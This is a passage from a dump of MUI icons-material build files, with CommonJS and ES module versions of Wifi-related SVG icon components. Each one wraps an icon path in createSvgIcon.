    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.71 5.29 19 3h-8v8l2.3-2.3c1.97 1.46 3.25 3.78 3.25 6.42 0 1.31-.32 2.54-.88 3.63 2.33-1.52 3.88-4.14 3.88-7.13 0-2.52-1.11-4.77-2.84-6.33\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.46 8.88c0-1.31.32-2.54.88-3.63C6 6.77 4.46 9.39 4.46 12.38c0 2.52 1.1 4.77 2.84 6.33L5 21h8v-8l-2.3 2.3c-1.96-1.46-3.24-3.78-3.24-6.42\"\n}, \"1\")], 'WifiProtectedSetupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetupRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.7 5.3 1.44-1.44c.32-.32.09-.85-.35-.85H11.5c-.28 0-.5.22-.5.5V9.8c0 .45.54.67.85.35L13.3 8.7c1.97 1.46 3.25 3.78 3.25 6.42 0 .66-.08 1.31-.24 1.92-.12.5.48.86.84.49 1.48-1.53 2.4-3.61 2.4-5.91 0-2.51-1.11-4.76-2.85-6.32m-4.55 8.56L10.7 15.3c-1.97-1.46-3.25-3.78-3.25-6.42 0-.66.08-1.31.24-1.92.12-.5-.48-.86-.84-.49-1.48 1.53-2.4 3.61-2.4 5.91 0 2.52 1.1 4.77 2.84 6.33l-1.44 1.44c-.32.32-.09.85.35.85h6.29c.28 0 .5-.22.5-.5v-6.29c.01-.44-.53-.67-.84-.35\"\n}), 'WifiProtectedSetupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetupRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.7 5.3 1.44-1.44c.32-.32.09-.85-.35-.85H11.5c-.28 0-.5.22-.5.5V9.8c0 .45.54.67.85.35L13.3 8.7c1.97 1.46 3.25 3.78 3.25 6.42 0 .66-.08 1.31-.24 1.92-.12.5.48.86.84.49 1.48-1.53 2.4-3.61 2.4-5.91 0-2.51-1.11-4.76-2.85-6.32m-4.55 8.56L10.7 15.3c-1.97-1.46-3.25-3.78-3.25-6.42 0-.66.08-1.31.24-1.92.12-.5-.48-.86-.84-.49-1.48 1.53-2.4 3.61-2.4 5.91 0 2.52 1.1 4.77 2.84 6.33l-1.44 1.44c-.32.32-.09.85.35.85h6.29c.28 0 .5-.22.5-.5v-6.29c.01-.44-.53-.67-.84-.35\"\n}), 'WifiProtectedSetupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetupSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.71 5.29 19 3h-8v8l2.3-2.3c1.97 1.46 3.25 3.78 3.25 6.42 0 1.31-.32 2.54-.88 3.63 2.33-1.52 3.88-4.14 3.88-7.13 0-2.52-1.11-4.77-2.84-6.33\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.46 8.88c0-1.31.32-2.54.88-3.63C6 6.77 4.46 9.39 4.46 12.38c0 2.52 1.1 4.77 2.84 6.33L5 21h8v-8l-2.3 2.3c-1.96-1.46-3.24-3.78-3.24-6.42\"\n}, \"1\")], 'WifiProtectedSetupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetupSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.71 5.29 19 3h-8v8l2.3-2.3c1.97 1.46 3.25 3.78 3.25 6.42 0 1.31-.32 2.54-.88 3.63 2.33-1.52 3.88-4.14 3.88-7.13 0-2.52-1.11-4.77-2.84-6.33\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.46 8.88c0-1.31.32-2.54.88-3.63C6 6.77 4.46 9.39 4.46 12.38c0 2.52 1.1 4.77 2.84 6.33L5 21h8v-8l-2.3 2.3c-1.96-1.46-3.24-3.78-3.24-6.42\"\n}, \"1\")], 'WifiProtectedSetupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetupTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.71 5.29 19 3h-8v8l2.3-2.3c1.97 1.46 3.25 3.78 3.25 6.42 0 1.31-.32 2.54-.88 3.63 2.33-1.52 3.88-4.14 3.88-7.13 0-2.52-1.11-4.77-2.84-6.33\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.46 8.88c0-1.31.32-2.54.88-3.63C6 6.77 4.46 9.39 4.46 12.38c0 2.52 1.1 4.77 2.84 6.33L5 21h8v-8l-2.3 2.3c-1.96-1.46-3.24-3.78-3.24-6.42\"\n}, \"1\")], 'WifiProtectedSetupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetupTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.71 5.29 19 3h-8v8l2.3-2.3c1.97 1.46 3.25 3.78 3.25 6.42 0 1.31-.32 2.54-.88 3.63 2.33-1.52 3.88-4.14 3.88-7.13 0-2.52-1.11-4.77-2.84-6.33\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.46 8.88c0-1.31.32-2.54.88-3.63C6 6.77 4.46 9.39 4.46 12.38c0 2.52 1.1 4.77 2.84 6.33L5 21h8v-8l-2.3 2.3c-1.96-1.46-3.24-3.78-3.24-6.42\"\n}, \"1\")], 'WifiProtectedSetupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.06 10.06c.51.51 1.32.56 1.87.1 4.67-3.84 11.45-3.84 16.13-.01.56.46 1.38.42 1.89-.09.59-.59.55-1.57-.1-2.1-5.71-4.67-13.97-4.67-19.69 0-.65.52-.7 1.5-.1 2.1m7.76 7.76 1.47 1.47c.39.39 1.02.39 1.41 0l1.47-1.47c.47-.47.37-1.28-.23-1.59-1.22-.63-2.68-.63-3.91 0-.57.31-.68 1.12-.21 1.59m-3.73-3.73c.49.49 1.26.54 1.83.13 2.44-1.73 5.72-1.73 8.16 0 .57.4 1.34.36 1.83-.13l.01-.01c.6-.6.56-1.62-.13-2.11-3.44-2.49-8.13-2.49-11.58 0-.69.5-.73 1.51-.12 2.12\"\n}), 'WifiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.06 10.06c.51.51 1.32.56 1.87.1 4.67-3.84 11.45-3.84 16.13-.01.56.46 1.38.42 1.89-.09.59-.59.55-1.57-.1-2.1-5.71-4.67-13.97-4.67-19.69 0-.65.52-.7 1.5-.1 2.1m7.76 7.76 1.47 1.47c.39.39 1.02.39 1.41 0l1.47-1.47c.47-.47.37-1.28-.23-1.59-1.22-.63-2.68-.63-3.91 0-.57.31-.68 1.12-.21 1.59m-3.73-3.73c.49.49 1.26.54 1.83.13 2.44-1.73 5.72-1.73 8.16 0 .57.4 1.34.36 1.83-.13l.01-.01c.6-.6.56-1.62-.13-2.11-3.44-2.49-8.13-2.49-11.58 0-.69.5-.73 1.51-.12 2.12\"\n}), 'WifiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m1 9 2 2c4.97-4.97 13.03-4.97 18 0l2-2C16.93 2.93 7.08 2.93 1 9m8 8 3 3 3-3c-1.65-1.66-4.34-1.66-6 0m-4-4 2 2c2.76-2.76 7.24-2.76 10 0l2-2C15.14 9.14 8.87 9.14 5 13\"\n}), 'WifiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m1 9 2 2c4.97-4.97 13.03-4.97 18 0l2-2C16.93 2.93 7.08 2.93 1 9m8 8 3 3 3-3c-1.65-1.66-4.34-1.66-6 0m-4-4 2 2c2.76-2.76 7.24-2.76 10 0l2-2C15.14 9.14 8.87 9.14 5 13\"\n}), 'WifiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTethering.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 2.22 1.21 4.15 3 5.19l1-1.74c-1.19-.7-2-1.97-2-3.45 0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.48-.81 2.75-2 3.45l1 1.74c1.79-1.04 3-2.97 3-5.19M12 3C6.48 3 2 7.48 2 13c0 3.7 2.01 6.92 4.99 8.65l1-1.73C5.61 18.53 4 15.96 4 13c0-4.42 3.58-8 8-8s8 3.58 8 8c0 2.96-1.61 5.53-4 6.92l1 1.73c2.99-1.73 5-4.95 5-8.65 0-5.52-4.48-10-10-10\"\n}), 'WifiTethering');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTethering.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 2.22 1.21 4.15 3 5.19l1-1.74c-1.19-.7-2-1.97-2-3.45 0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.48-.81 2.75-2 3.45l1 1.74c1.79-1.04 3-2.97 3-5.19M12 3C6.48 3 2 7.48 2 13c0 3.7 2.01 6.92 4.99 8.65l1-1.73C5.61 18.53 4 15.96 4 13c0-4.42 3.58-8 8-8s8 3.58 8 8c0 2.96-1.61 5.53-4 6.92l1 1.73c2.99-1.73 5-4.95 5-8.65 0-5.52-4.48-10-10-10\"\n}), 'WifiTethering');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringError.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6m0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3m0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m8-1h2v6h-2zm0 8h2v2h-2z\"\n}), 'WifiTetheringError');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringError.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6m0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3m0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m8-1h2v6h-2zm0 8h2v2h-2z\"\n}), 'WifiTetheringError');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6m0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3m0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m8-1h2v6h-2zm0 8h2v2h-2z\"\n}), 'WifiTetheringErrorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6m0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3m0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m8-1h2v6h-2zm0 8h2v2h-2z\"\n}), 'WifiTetheringErrorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.66 7.14c-2.24.48-4.04 2.3-4.52 4.54-.37 1.75.02 3.38.89 4.66.34.51 1.08.55 1.51.11.35-.35.37-.88.1-1.28-.5-.76-.75-1.71-.61-2.73.23-1.74 1.67-3.17 3.41-3.4C13.9 8.71 16 10.61 16 13c0 .8-.24 1.54-.64 2.16-.27.41-.25.95.1 1.29.43.43 1.17.4 1.51-.11C17.62 15.4 18 14.25 18 13c0-3.75-3.45-6.7-7.34-5.86m-.41-3.99c-4.05.69-7.19 3.69-8.03 7.72-.66 3.17.2 6.16 1.97 8.38.37.46 1.07.49 1.49.07.36-.36.39-.93.07-1.32-1.34-1.67-2.03-3.9-1.66-6.28.55-3.47 3.42-6.24 6.92-6.65 2.76-.33 5.27.74 6.93 2.59.2.21.47.34.76.34.85 0 1.34-1.01.77-1.65-2.19-2.45-5.56-3.82-9.22-3.2M12 11c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m9-1c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1m0 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'WifiTetheringErrorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.66 7.14c-2.24.48-4.04 2.3-4.52 4.54-.37 1.75.02 3.38.89 4.66.34.51 1.08.55 1.51.11.35-.35.37-.88.1-1.28-.5-.76-.75-1.71-.61-2.73.23-1.74 1.67-3.17 3.41-3.4C13.9 8.71 16 10.61 16 13c0 .8-.24 1.54-.64 2.16-.27.41-.25.95.1 1.29.43.43 1.17.4 1.51-.11C17.62 15.4 18 14.25 18 13c0-3.75-3.45-6.7-7.34-5.86m-.41-3.99c-4.05.69-7.19 3.69-8.03 7.72-.66 3.17.2 6.16 1.97 8.38.37.46 1.07.49 1.49.07.36-.36.39-.93.07-1.32-1.34-1.67-2.03-3.9-1.66-6.28.55-3.47 3.42-6.24 6.92-6.65 2.76-.33 5.27.74 6.93 2.59.2.21.47.34.76.34.85 0 1.34-1.01.77-1.65-2.19-2.45-5.56-3.82-9.22-3.2M12 11c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m9-1c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1m0 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'WifiTetheringErrorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRoundedOutlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6zm0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3zm0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm8-1h2v6h-2v-6zm0 8h2v2h-2v-2z\"\n}), 'WifiTetheringErrorRoundedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRoundedOutlined.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6zm0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3zm0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm8-1h2v6h-2v-6zm0 8h2v2h-2v-2z\"\n}), 'WifiTetheringErrorRoundedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRoundedRounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.66 7.14c-2.24.48-4.04 2.3-4.52 4.54-.37 1.75.02 3.38.89 4.66.34.51 1.08.55 1.51.11.35-.35.37-.88.1-1.28-.5-.76-.75-1.71-.61-2.73.23-1.74 1.67-3.17 3.41-3.4C13.9 8.71 16 10.61 16 13c0 .8-.24 1.54-.64 2.16-.27.41-.25.95.1 1.29.43.43 1.17.4 1.51-.11C17.62 15.4 18 14.25 18 13c0-3.75-3.45-6.7-7.34-5.86zm-.41-3.99c-4.05.69-7.19 3.69-8.03 7.72-.66 3.17.2 6.16 1.97 8.38.37.46 1.07.49 1.49.07.36-.36.39-.93.07-1.32-1.34-1.67-2.03-3.9-1.66-6.28.55-3.47 3.42-6.24 6.92-6.65 2.76-.33 5.27.74 6.93 2.59.2.21.47.34.76.34.85 0 1.34-1.01.77-1.65-2.19-2.45-5.56-3.82-9.22-3.2zM12 11c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm9-1c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1zm0 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1z\"\n}), 'WifiTetheringErrorRoundedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRoundedRounded.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.66 7.14c-2.24.48-4.04 2.3-4.52 4.54-.37 1.75.02 3.38.89 4.66.34.51 1.08.55 1.51.11.35-.35.37-.88.1-1.28-.5-.76-.75-1.71-.61-2.73.23-1.74 1.67-3.17 3.41-3.4C13.9 8.71 16 10.61 16 13c0 .8-.24 1.54-.64 2.16-.27.41-.25.95.1 1.29.43.43 1.17.4 1.51-.11C17.62 15.4 18 14.25 18 13c0-3.75-3.45-6.7-7.34-5.86zm-.41-3.99c-4.05.69-7.19 3.69-8.03 7.72-.66 3.17.2 6.16 1.97 8.38.37.46 1.07.49 1.49.07.36-.36.39-.93.07-1.32-1.34-1.67-2.03-3.9-1.66-6.28.55-3.47 3.42-6.24 6.92-6.65 2.76-.33 5.27.74 6.93 2.59.2.21.47.34.76.34.85 0 1.34-1.01.77-1.65-2.19-2.45-5.56-3.82-9.22-3.2zM12 11c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm9-1c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1zm0 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1z\"\n}), 'WifiTetheringErrorRoundedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRoundedSharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6zm0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3zm0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm8-1h2v6h-2v-6zm0 8h2v2h-2v-2z\"\n}), 'WifiTetheringErrorRoundedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRoundedSharp.mjs",
